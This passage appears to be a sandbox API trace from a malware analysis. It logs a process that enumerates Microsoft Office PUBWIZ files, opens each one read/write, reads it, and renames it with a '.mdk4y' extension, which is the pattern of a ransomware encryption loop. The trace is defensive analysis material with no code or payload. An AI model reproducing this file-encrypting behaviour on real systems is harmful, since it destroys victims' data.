Office\\Office14\\PUBWIZ\\LTHD98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\lthd98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LTHD98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\lthd98.poc.mdk4y")) returned 1 [0249.746] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0249.746] AreFileApisANSI () returned 1 [0249.746] GetACP () returned 0x4e4 [0249.746] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LTHD98SP.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="LTHD98SP.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0249.746] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LTHD98SP.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\lthd98sp.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0249.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832497700000) returned 1 [0249.747] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3e00, lpOverlapped=0x0) returned 1 [0249.749] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832497900000) returned 1 [0249.749] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832497900000) returned 1 [0249.750] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LTHD98SP.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\lthd98sp.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LTHD98SP.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\lthd98sp.poc.mdk4y")) returned 1 [0249.755] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0249.766] AreFileApisANSI () returned 1 [0249.766] GetACP () returned 0x4e4 [0249.766] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LTHDHM.POC", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="LTHDHM.POCOC", lpUsedDefaultChar=0x37df4c) returned 10 [0249.766] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LTHDHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\lthdhm.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0249.768] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832499800000) returned 1 [0249.768] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9a9a, lpOverlapped=0x0) returned 1 [0249.769] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832499900000) returned 1 [0249.769] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832499900000) returned 1 [0249.770] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LTHDHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\lthdhm.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LTHDHM.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\lthdhm.poc.mdk4y")) returned 1 [0249.772] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0249.772] AreFileApisANSI () returned 1 [0249.772] GetACP () returned 0x4e4 [0249.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MAIN.XML", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MAIN.XMLOC", lpUsedDefaultChar=0x37df4c) returned 8 [0249.772] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MAIN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0249.774] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832500400000) returned 1 [0249.774] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2694, lpOverlapped=0x0) returned 1 [0249.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832510200000) returned 1 [0249.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832510200000) returned 1 [0249.872] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MAIN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\main.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MAIN.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\main.xml.mdk4y")) returned 1 [0249.874] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0249.875] AreFileApisANSI () returned 1 [0249.875] GetACP () returned 0x4e4 [0249.875] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MARQUEE.POC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MARQUEE.POCC", lpUsedDefaultChar=0x37df4c) returned 11 [0249.875] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MARQUEE.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\marquee.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0249.876] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832510600000) returned 1 [0249.876] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe56, lpOverlapped=0x0) returned 1 [0249.882] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832511500000) returned 1 [0249.886] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832511600000) returned 1 [0249.886] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MARQUEE.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\marquee.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MARQUEE.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\marquee.poc.mdk4y")) returned 1 [0249.889] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0249.889] AreFileApisANSI () returned 1 [0249.889] GetACP () returned 0x4e4 [0249.889] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MENU.DPV", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MENU.DPVPOC", lpUsedDefaultChar=0x37df4c) returned 8 [0249.889] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\menu.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0249.892] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832512200000) returned 1 [0249.892] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x14a14, lpOverlapped=0x0) returned 1 [0249.935] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832516500000) returned 1 [0249.936] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832516600000) returned 1 [0249.937] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\menu.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\menu.dpv.mdk4y")) returned 1 [0249.939] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0249.939] AreFileApisANSI () returned 1 [0249.939] GetACP () returned 0x4e4 [0249.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MENU.XML", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MENU.XML", lpUsedDefaultChar=0x37df4c) returned 8 [0249.939] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\menu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0249.941] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832517100000) returned 1 [0249.941] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x138a, lpOverlapped=0x0) returned 1 [0250.087] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832531700000) returned 1 [0250.087] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832531700000) returned 1 [0250.088] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\menu.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\menu.xml.mdk4y")) returned 1 [0250.090] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0250.090] AreFileApisANSI () returned 1 [0250.090] GetACP () returned 0x4e4 [0250.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MENU98.POC", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MENU98.POCC", lpUsedDefaultChar=0x37df4c) returned 10 [0250.090] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\menu98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0250.092] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832532200000) returned 1 [0250.092] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1fd7e, lpOverlapped=0x0) returned 1 [0250.123] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832535300000) returned 1 [0250.124] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832535400000) returned 1 [0250.126] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\menu98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\menu98.poc.mdk4y")) returned 1 [0250.248] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0250.248] AreFileApisANSI () returned 1 [0250.248] GetACP () returned 0x4e4 [0250.248] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSTHED98.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSTHED98.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0250.249] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MSTHED98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\msthed98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0250.250] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832548000000) returned 1 [0250.250] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x208fa, lpOverlapped=0x0) returned 1 [0250.305] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832553500000) returned 1 [0250.305] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832553500000) returned 1 [0250.307] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MSTHED98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\msthed98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MSTHED98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\msthed98.poc.mdk4y")) returned 1 [0250.309] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0250.309] AreFileApisANSI () returned 1 [0250.309] GetACP () returned 0x4e4 [0250.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NAVBAR11.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NAVBAR11.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0250.310] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NAVBAR11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\navbar11.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0250.311] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832554100000) returned 1 [0250.311] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1da0a, lpOverlapped=0x0) returned 1 [0250.459] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832568900000) returned 1 [0250.459] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832568900000) returned 1 [0250.462] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NAVBAR11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\navbar11.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NAVBAR11.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\navbar11.poc.mdk4y")) returned 1 [0250.464] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0250.464] AreFileApisANSI () returned 1 [0250.464] GetACP () returned 0x4e4 [0250.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NAVBARV.POC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NAVBARV.POCC", lpUsedDefaultChar=0x37df4c) returned 11 [0250.464] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NAVBARV.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\navbarv.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0250.465] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832569500000) returned 1 [0250.465] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1ccde, lpOverlapped=0x0) returned 1 [0250.610] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832584000000) returned 1 [0250.610] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832584000000) returned 1 [0250.612] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NAVBARV.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\navbarv.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NAVBARV.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\navbarv.poc.mdk4y")) returned 1 [0250.614] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0250.614] AreFileApisANSI () returned 1 [0250.614] GetACP () returned 0x4e4 [0250.614] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NAVBRPH1.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NAVBRPH1.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0250.614] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NAVBRPH1.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\navbrph1.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0250.616] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832584600000) returned 1 [0250.616] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x39c, lpOverlapped=0x0) returned 1 [0250.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832584800000) returned 1 [0250.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832584800000) returned 1 [0250.618] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NAVBRPH1.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\navbrph1.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NAVBRPH1.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\navbrph1.poc.mdk4y")) returned 1 [0250.620] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0250.620] AreFileApisANSI () returned 1 [0250.620] GetACP () returned 0x4e4 [0250.620] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NAVBRPH2.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NAVBRPH2.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0250.620] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NAVBRPH2.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\navbrph2.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0250.622] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832585200000) returned 1 [0250.622] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x396, lpOverlapped=0x0) returned 1 [0250.624] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832585400000) returned 1 [0250.624] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832585400000) returned 1 [0250.624] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NAVBRPH2.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\navbrph2.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NAVBRPH2.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\navbrph2.poc.mdk4y")) returned 1 [0250.627] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0250.627] AreFileApisANSI () returned 1 [0250.627] GetACP () returned 0x4e4 [0250.627] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NEWS.DPV", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NEWS.DPV.POC", lpUsedDefaultChar=0x37df4c) returned 8 [0250.628] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0250.629] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832585900000) returned 1 [0250.629] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9965a, lpOverlapped=0x0) returned 1 [0250.783] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832601300000) returned 1 [0250.783] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832601300000) returned 1 [0250.790] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news.dpv.mdk4y")) returned 1 [0250.792] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0250.792] AreFileApisANSI () returned 1 [0250.792] GetACP () returned 0x4e4 [0250.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NEWS.XML", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NEWS.XML", lpUsedDefaultChar=0x37df4c) returned 8 [0250.792] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0250.793] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832602300000) returned 1 [0250.794] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4260, lpOverlapped=0x0) returned 1 [0250.795] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832602500000) returned 1 [0250.795] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832602500000) returned 1 [0250.798] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news.xml.mdk4y")) returned 1 [0250.800] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0250.800] AreFileApisANSI () returned 1 [0250.800] GetACP () returned 0x4e4 [0250.800] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NEWS11.POC", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, 